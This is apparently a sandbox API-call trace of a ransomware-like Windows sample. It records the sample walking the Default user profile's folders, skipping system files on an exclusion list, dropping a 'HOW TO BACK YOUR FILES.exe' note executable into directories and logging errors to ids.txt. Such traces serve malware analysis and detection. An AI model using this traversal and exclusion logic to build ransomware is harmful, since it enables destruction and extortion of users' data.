	[0046.927] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0xffffffff
	[0046.927] GetLastError () returned 0x5
	[0046.927] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default User\\* FindFirstFile error 5\r\n") returned 55
	[0046.927] lstrlenA (lpString="[ERROR] C:\\Users\\Default User\\* FindFirstFile error 5\r\n") returned 55
	[0046.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.927] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x148b
	[0046.927] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x37, lpOverlapped=0x0) returned 1
	[0046.927] CloseHandle (hObject=0x14c) returned 1
	[0046.927] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a10
	[0046.927] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default", iMaxLength=260 | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0046.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bedd8 | out: hHeap=0x580000) returned 1
	[0046.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a08 | out: hHeap=0x580000) returned 1
	[0046.927] lstrlenW (lpString="C:\\Users\\Default") returned 16
	[0046.927] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0046.927] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.927] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.928] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.928] GetLastError () returned 0x0
	[0046.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.928] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.928] CloseHandle (hObject=0x14c) returned 1
	[0046.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.928] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.928] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dcee150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dcee150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0046.928] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.928] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.928] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.928] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dcee150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dcee150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.928] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.928] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.929] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.929] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.929] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="Apollon865.txt.exe") returned 1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2=".") returned 1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="..") returned 1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="windows") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="bootmgr") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="temp") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="pagefile.sys") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="boot") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="ids.txt") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="ntuser.dat") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="perflogs") returned -1
	[0046.929] lstrcmpiW (lpString1="AppData", lpString2="MSBuild") returned -1
	[0046.929] lstrlenW (lpString="AppData") returned 7
	[0046.929] lstrlenW (lpString="C:\\Users\\Default\\*") returned 18
	[0046.929] lstrcpyW (in: lpString1=0x119e62a, lpString2="AppData" | out: lpString1="AppData") returned="AppData"
	[0046.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a08
	[0046.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca350
	[0046.929] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a10 | out: ListHead=0x5b75f0, ListEntry=0x5b7a10) returned 0x5b79f0
	[0046.929] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0046.929] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0046.930] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0046.930] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0046.930] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0046.930] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0046.930] lstrlenW (lpString="Application Data") returned 16
	[0046.930] lstrlenW (lpString="C:\\Users\\Default\\AppData") returned 24
	[0046.930] lstrcpyW (in: lpString1=0x119e62a, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0046.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0046.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdca8
	[0046.930] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0046.930] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="Apollon865.txt.exe") returned 1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2=".") returned 1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="..") returned 1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="windows") returned -1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="bootmgr") returned 1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="temp") returned -1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="pagefile.sys") returned -1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="boot") returned 1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="ids.txt") returned -1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="ntuser.dat") returned -1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="perflogs") returned -1
	[0046.930] lstrcmpiW (lpString1="Contacts", lpString2="MSBuild") returned -1
	[0046.930] lstrlenW (lpString="Contacts") returned 8
	[0046.930] lstrlenW (lpString="C:\\Users\\Default\\Application Data") returned 33
	[0046.930] lstrcpyW (in: lpString1=0x119e62a, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts"
	[0046.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0046.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca390
	[0046.930] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0046.930] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0046.930] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.930] lstrcmpiW (lpString1="Cookies", lpString2="Apollon865.txt.exe") returned 1
	[0046.930] lstrcmpiW (lpString1="Cookies", lpString2=".") returned 1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="..") returned 1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="windows") returned -1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="bootmgr") returned 1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="temp") returned -1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="pagefile.sys") returned -1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="boot") returned 1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="ids.txt") returned -1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="ntuser.dat") returned -1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="perflogs") returned -1
	[0046.931] lstrcmpiW (lpString1="Cookies", lpString2="MSBuild") returned -1
	[0046.931] lstrlenW (lpString="Cookies") returned 7
	[0046.931] lstrlenW (lpString="C:\\Users\\Default\\Contacts") returned 25
	[0046.931] lstrcpyW (in: lpString1=0x119e62a, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies"
	[0046.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0046.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca3d0
	[0046.931] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7bb0
	[0046.931] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e353c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0046.931] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0046.931] lstrlenW (lpString="Desktop") returned 7
	[0046.931] lstrlenW (lpString="C:\\Users\\Default\\Cookies") returned 24
	[0046.931] lstrcpyW (in: lpString1=0x119e62a, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0046.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0046.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca110
	[0046.932] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0046.932] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e080250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e080250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0046.932] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0046.932] lstrlenW (lpString="Documents") returned 9
	[0046.932] lstrlenW (lpString="C:\\Users\\Default\\Desktop") returned 24
	[0046.932] lstrcpyW (in: lpString1=0x119e62a, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0046.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0046.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca1d0
	[0046.932] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0046.932] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3079b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3079b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="Apollon865.txt.exe") returned 1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1
	[0046.932] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1
	[0046.933] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1
	[0046.933] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1
	[0046.933] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1
	[0046.933] lstrlenW (lpString="Downloads") returned 9
	[0046.933] lstrlenW (lpString="C:\\Users\\Default\\Documents") returned 26
	[0046.933] lstrcpyW (in: lpString1=0x119e62a, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads"
	[0046.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0046.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca250
	[0046.933] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0046.933] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e164a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e164a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0046.933] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0046.933] lstrlenW (lpString="Favorites") returned 9
	[0046.933] lstrlenW (lpString="C:\\Users\\Default\\Downloads") returned 26
	[0046.933] lstrcpyW (in: lpString1=0x119e62a, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0046.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0046.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca190
	[0046.933] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7cb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7cb0) returned 0x5b7bd0
	[0046.933] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcee150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dcee150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.933] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.933] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e13e930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e13e930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0046.933] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.933] lstrcmpiW (lpString1="Links", lpString2="Apollon865.txt.exe") returned 1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2=".") returned 1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="..") returned 1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1
	[0046.934] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1
	[0046.934] lstrlenW (lpString="Links") returned 5
	[0046.934] lstrlenW (lpString="C:\\Users\\Default\\Favorites") returned 26
	[0046.934] lstrcpyW (in: lpString1=0x119e62a, lpString2="Links" | out: lpString1="Links") returned="Links"
	[0046.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0046.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7df0
	[0046.934] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fbf0 | out: ListHead=0x5b75f0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0046.934] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="Apollon865.txt.exe") returned 1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2=".") returned 1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="..") returned 1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="windows") returned -1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="bootmgr") returned 1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="temp") returned -1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="pagefile.sys") returned -1
